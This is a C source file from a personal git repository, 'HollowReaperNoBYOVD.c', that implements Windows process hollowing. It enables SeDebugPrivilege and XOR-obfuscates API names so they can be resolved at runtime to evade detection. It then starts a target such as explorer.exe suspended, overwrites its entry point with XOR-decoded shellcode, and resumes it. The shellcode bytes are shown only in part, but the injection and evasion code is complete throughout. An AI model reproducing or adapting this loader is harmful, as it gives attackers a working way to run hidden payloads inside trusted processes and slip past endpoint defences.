etc~ scripts and random things |
| git clone https://github.com/djnnvx/etc.git |
| log | files | refs | archive |
HollowReaperNoBYOVD.c (11080B)
1 /* 2 Author: vari.sh 3 Description: 4 - This program implements process hollowing (it creates a suspended process, 5 injects a deobfuscated shellcode via XOR, and then resumes the thread). 6 7 Usage: HollowReaperNoBYOVD.exe "C:\windows\explorer.exe" 8 9 */ 10 11 #define _CRT_SECURE_NO_WARNINGS 12 #include <windows.h> 13 #include <psapi.h> 14 #include <stdio.h> 15 #include <stdlib.h> 16 #include <stdarg.h> 17 #include <string.h> 18 #include <tlhelp32.h> 19 20 // ===================================================== 21 // API Deobfuscation Functions (XOR) 22 // ===================================================== 23 24 // Function to decrypt a string (encrypted data is not null-terminated) 25 char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len) 26 { 27 char* result = (char*)malloc(len + 1); 28 if (!result) return NULL; 29 for (size_t i = 0; i < len; i++) { 30 result[i] = cipher[i] ^ key[i % key_len]; 31 } 32 result[len] = '\0'; 33 return result; 34 } 35 36 // Function to decrypt a buffer in-place (e.g., for shellcode) 37 void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len) 38 { 39 for (size_t i = 0; i < len; i++) { 40 buffer[i] ^= key[i % key_len]; 41 } 42 } 43 44 // 1. "CreateProcessW" (14 characters) 45 static const unsigned char CPW_ENC[] = { 46 0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33 47 }; 48 // 2. "ReadProcessMemory" (17 characters) 49 static const unsigned char RPM_ENC[] = { 50 0x62, 0x54, 0x53, 0x57, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x2F, 0x06, 0x09, 0x0A, 0x14, 0x1E 51 }; 52 // 3. "WriteProcessMemory" (18 characters) 53 static const unsigned char WPM_ENC[] = { 54 0x67, 0x43, 0x5B, 0x47, 0x51, 0x65, 0x44, 0x58, 0x5B, 0x5C, 0x12, 0x11, 0x2E, 0x01, 0x08, 0x09, 0x15, 0x11 55 }; 56 // 4. "ResumeThread" (12 characters) 57 static const unsigned char RT_ENC[] = { 58 0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06 59 }; 60 // 5. "ZwQueryInformationProcess" (25 characters) 61 static const unsigned char ZQIP_ENC[] = { 62 0x6A, 0x46, 0x63, 0x46, 0x51, 0x47, 0x4F, 0x7E, 0x56, 0x5F, 0x0E, 0x10, 0x0E, 0x05, 0x11, 63 0x0F, 0x08, 0x06, 0x39, 0x18, 0x5F, 0x52, 0x57, 0x40, 0x47 64 }; 65 66 typedef BOOL(WINAPI* PFN_CPW)( 67 LPCWSTR lpApplicationName, 68 LPWSTR lpCommandLine, 69 LPSECURITY_ATTRIBUTES lpProcessAttributes, 70 LPSECURITY_ATTRIBUTES lpThreadAttributes, 71 BOOL bInheritHandles, 72 DWORD dwCreationFlags, 73 LPVOID lpEnvironment, 74 LPCWSTR lpCurrentDirectory, 75 LPSTARTUPINFOW lpStartupInfo, 76 LPPROCESS_INFORMATION lpProcessInformation 77 ); 78 79 typedef BOOL(WINAPI* PFN_RPM)( 80 HANDLE hProcess, 81 LPCVOID lpBaseAddress, 82 LPVOID lpBuffer, 83 SIZE_T nSize, 84 SIZE_T* lpNumberOfBytesRead 85 ); 86 87 typedef BOOL(WINAPI* PFN_WPM)( 88 HANDLE hProcess, 89 LPVOID lpBaseAddress, 90 LPCVOID lpBuffer, 91 SIZE_T nSize, 92 SIZE_T* lpNumberOfBytesWritten 93 ); 94 95 typedef DWORD(WINAPI* PFN_RT)(HANDLE hThread); 96 97 typedef LONG NTSTATUS; 98 typedef NTSTATUS(WINAPI* PFN_ZQIP)( 99 HANDLE ProcessHandle, 100 ULONG ProcessInformationClass, 101 PVOID ProcessInformation, 102 ULONG ProcessInformationLength, 103 PULONG ReturnLength 104 ); 105 106 wchar_t* to_wide(const char* str) { 107 int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0); 108 if (len == 0) return NULL; 109 wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t)); 110 if (!wstr) return NULL; 111 MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len); 112 return wstr; 113 } 114 115 // ===================================================== 116 // Function to load clean versions of DLLs 117 // ===================================================== 118 HMODULE LoadCleanDLL(char* dllPath) { 119 120 HMODULE hDLL = LoadLibraryA(dllPath); 121 if (hDLL) 122 { 123 printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL); 124 } 125 else 126 { 127 printf("[!] Failed to load %s. Error: %lu\n", dllPath, GetLastError()); 128 } 129 130 return hDLL; 131 } 132 133 // ===================================================== 134 // Main – Process Hollowing 135 // ===================================================== 136 int main(int argc, char* argv[]) { 137 // Start 138 printf("[+] Starting HollowReaper\n"); 139 140 // Enabling SeDebugPrivilege 141 HANDLE hToken = NULL; 142 LUID luid; 143 TOKEN_PRIVILEGES tp; 144 BOOL bResult; 145 146 printf("[*] Requesting SeDebugPrivilege...\n"); 147 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { 148 printf("[!] OpenProcessToken failed, error: %lu\n", GetLastError()); 149 return 1; 150 } 151 if (!LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid)) { 152 printf("[!] LookupPrivilegeValue failed, error: %lu\n", GetLastError()); 153 return 1; 154 } 155 tp.PrivilegeCount = 1; 156 tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED; 157 tp.Privileges->Luid = luid; 158 if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) { 159 printf("[!] AdjustTokenPrivileges failed, error: %lu\n", GetLastError()); 160 return 1; 161 } 162 if (GetLastError() != ERROR_SUCCESS) { 163 printf("[!] AdjustTokenPrivileges reported an error: %lu\n", GetLastError()); 164 return 1; 165 } 166 printf("[+] SeDebugPrivilege enabled.\n"); 167 168 // Load clean versions of DLLs 169 char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll"; 170 HANDLE hKernel32 = LoadCleanDLL(kernel32Path); 171 172 char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll"; 173 HANDLE hNtdll = LoadCleanDLL(ntdllPath); 174 175 const char* XOR_KEY = "0123456789abcdefghij"; 176 size_t key_len = strlen(XOR_KEY); 177 178 char* strCPW = (char*)malloc(sizeof(CPW_ENC)); 179 char* strRPM = (char*)malloc(sizeof(RPM_ENC)); 180 char* strWPM = (char*)malloc(sizeof(WPM_ENC)); 181 char* strRT = (char*)malloc(sizeof(RT_ENC)); 182 char* strZQIP = (char*)malloc(sizeof(ZQIP_ENC)); 183 if (!strCPW || !strRPM || !strWPM || !strRT || !strZQIP) { 184 printf("[!] Memory allocation error\n"); 185 return 1; 186 } 187 memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC)); 188 memcpy(strRPM, RPM_ENC, sizeof(RPM_ENC)); 189 memcpy(strWPM, WPM_ENC, sizeof(WPM_ENC)); 190 memcpy(strRT, RT_ENC, sizeof(RT_ENC)); 191 memcpy(strZQIP, ZQIP_ENC, sizeof(ZQIP_ENC)); 192 // Deobfuscate API names 193 strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len); 194 strRPM = xor_decrypt_string((unsigned char*)strRPM, sizeof(RPM_ENC), XOR_KEY, key_len); 195 strWPM = xor_decrypt_string((unsigned char*)strWPM, sizeof(WPM_ENC), XOR_KEY, key_len); 196 strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len); 197 strZQIP = xor_decrypt_string((unsigned char*)strZQIP, sizeof(ZQIP_ENC), XOR_KEY, key_len); 198 199 PFN_CPW pCPW = (PFN_CPW)GetProcAddress(hKernel32, strCPW); 200 PFN_RPM pRPM = (PFN_RPM)GetProcAddress(hKernel32, strRPM); 201 PFN_WPM pWPM = (PFN_WPM)GetProcAddress(hKernel32, strWPM); 202 PFN_RT pRT = (PFN_RT)GetProcAddress(hKernel32, strRT); 203 PFN_ZQIP pZQIP = (PFN_ZQIP)GetProcAddress(hNtdll, strZQIP); 204 if (!pCPW || !pRPM || !pWPM || !pRT || !pZQIP) { 205 printf("[!] Error retrieving API addresses.\n"); 206 return 1; 207 } 208 free(strCPW); free(strRPM); free(strWPM); free(strRT); free(strZQIP); 209 210 // Obtain the target executable path (from command line or stdin) 211 char exePathA[MAX_PATH] = { 0 }; 212 if (argc > 1) { 213 strncpy(exePathA, argv[1], MAX_PATH - 1); 214 printf("[+] Path provided from command line: %s\n", exePathA); 215 } 216 else { 217 printf("[*] Enter the full path of the executable: "); 218 if (!fgets(exePathA, sizeof(exePathA), stdin)) { 219 printf("[!] Error reading the path.\n"); 220 return 1; 221 } 222 exePathA[strcspn(exePathA, "\r\n")] = '\0'; 223 } 224 if (strlen(exePathA) == 0) { 225 printf("[!] Invalid path!\n"); 226 return 1; 227 } 228 wchar_t* exePathW = to_wide(exePathA); 229 if (!exePathW) { 230 printf("[!] Error converting the path to Unicode.\n"); 231 return 1; 232 } 233 234 // Create the process in a suspended state 235 236 STARTUPINFOW si; 237 PROCESS_INFORMATION pi; 238 ZeroMemory(&si, sizeof(si)); 239 si.cb = sizeof(si); 240 ZeroMemory(&pi, sizeof(pi)); 241 if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 242 printf("[!] Error creating the process, code: %lu\n", GetLastError()); 243 free(exePathW); 244 return 1; 245 } 246 free(exePathW); 247 printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId); 248 249 250 251 // Retrieve the PEB via ZwQueryInformationProcess 252 typedef struct _PROCESS_BASIC_INFORMATION { 253 PVOID ExitStatus; 254 PVOID PebBaseAddress; 255 PVOID AffinityMask; 256 PVOID BasePriority; 257 ULONG_PTR UniqueProcessId; 258 PVOID InheritedFromUniqueProcessId; 259 } PROCESS_BASIC_INFORMATION; 260 PROCESS_BASIC_INFORMATION pbi; 261 ULONG retLen = 0; 262 NTSTATUS ntStatus = pZQIP(pi.hProcess, 0, &pbi, sizeof(pbi), &retLen); 263 if (ntStatus != 0) { 264 printf("[!] ZwQueryInformationProcess failed, NTSTATUS: 0x%lX\n", ntStatus); 265 return 1; 266 } 267 printf("[*] The process's PEB is located at: %p\n", pbi.PebBaseAddress); 268 269 // Read the ImageBaseAddress from the PEB 270 LPVOID imageBaseAddress = NULL; 271 SIZE_T bytesRead = 0; 272 LPCVOID addrImageBase = (LPCVOID)((char*)pbi.PebBaseAddress + 0x10); 273 if (!pRPM(pi.hProcess, addrImageBase, &imageBaseAddress, sizeof(imageBaseAddress), &bytesRead)) { 274 printf("[!] ReadProcessMemory (ImageBaseAddress) failed, error: %lu\n", GetLastError()); 275 return 1; 276 } 277 printf("[*] The Image Base Address is: %p\n", imageBaseAddress); 278 279 // Read the PE header to obtain the EntryPoint 280 unsigned char headerBuffer[0x200] = { 0 }; 281 if (!pRPM(pi.hProcess, imageBaseAddress, headerBuffer, sizeof(headerBuffer), &bytesRead)) { 282 printf("[!] ReadProcessMemory (PE header) failed, error: %lu\n", GetLastError()); 283 return 1; 284 } 285 DWORD e_lfanew = *(DWORD*)(headerBuffer + 0x3C); 286 DWORD entryPointRVA = *(DWORD*)(headerBuffer + e_lfanew + 0x28); 287 LPVOID entryPointAddr = (LPVOID)((char*)imageBaseAddress + entryPointRVA); 288 printf("[*] The process EntryPoint is: %p\n", entryPointAddr); 289 290 // Prepare and write the shellcode (deobfuscated via XOR) into the EntryPoint 291 unsigned char shellcode_enc[] = { 292 0xD8, 0xF1, 0x67, 0x33, ... 293 }; 294 size_t shellcode_len = sizeof(shellcode_enc); 295 // Deobfuscate the shellcode 296 xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len); 297 SIZE_T bytesWritten = 0; 298 if (!pWPM(pi.hProcess, entryPointAddr, shellcode_enc, shellcode_len, &bytesWritten)) { 299 printf("[!] WriteProcessMemory failed, error: %lu\n", GetLastError()); 300 return 1; 301 } 302 printf("[+] Shellcode written at the EntryPoint.\n"); 303 304 305 // Resume the suspended process thread 306 DWORD suspendCount = pRT(pi.hThread); 307 printf("[+] Thread resumed, suspend count: %lu\n", suspendCount); 308 309 // Cleanup: close handles 310 CloseHandle(pi.hThread); 311 CloseHandle(pi.hProcess); 312 313 printf("[+] Operation completed.\n"); 314 return 0; 315 }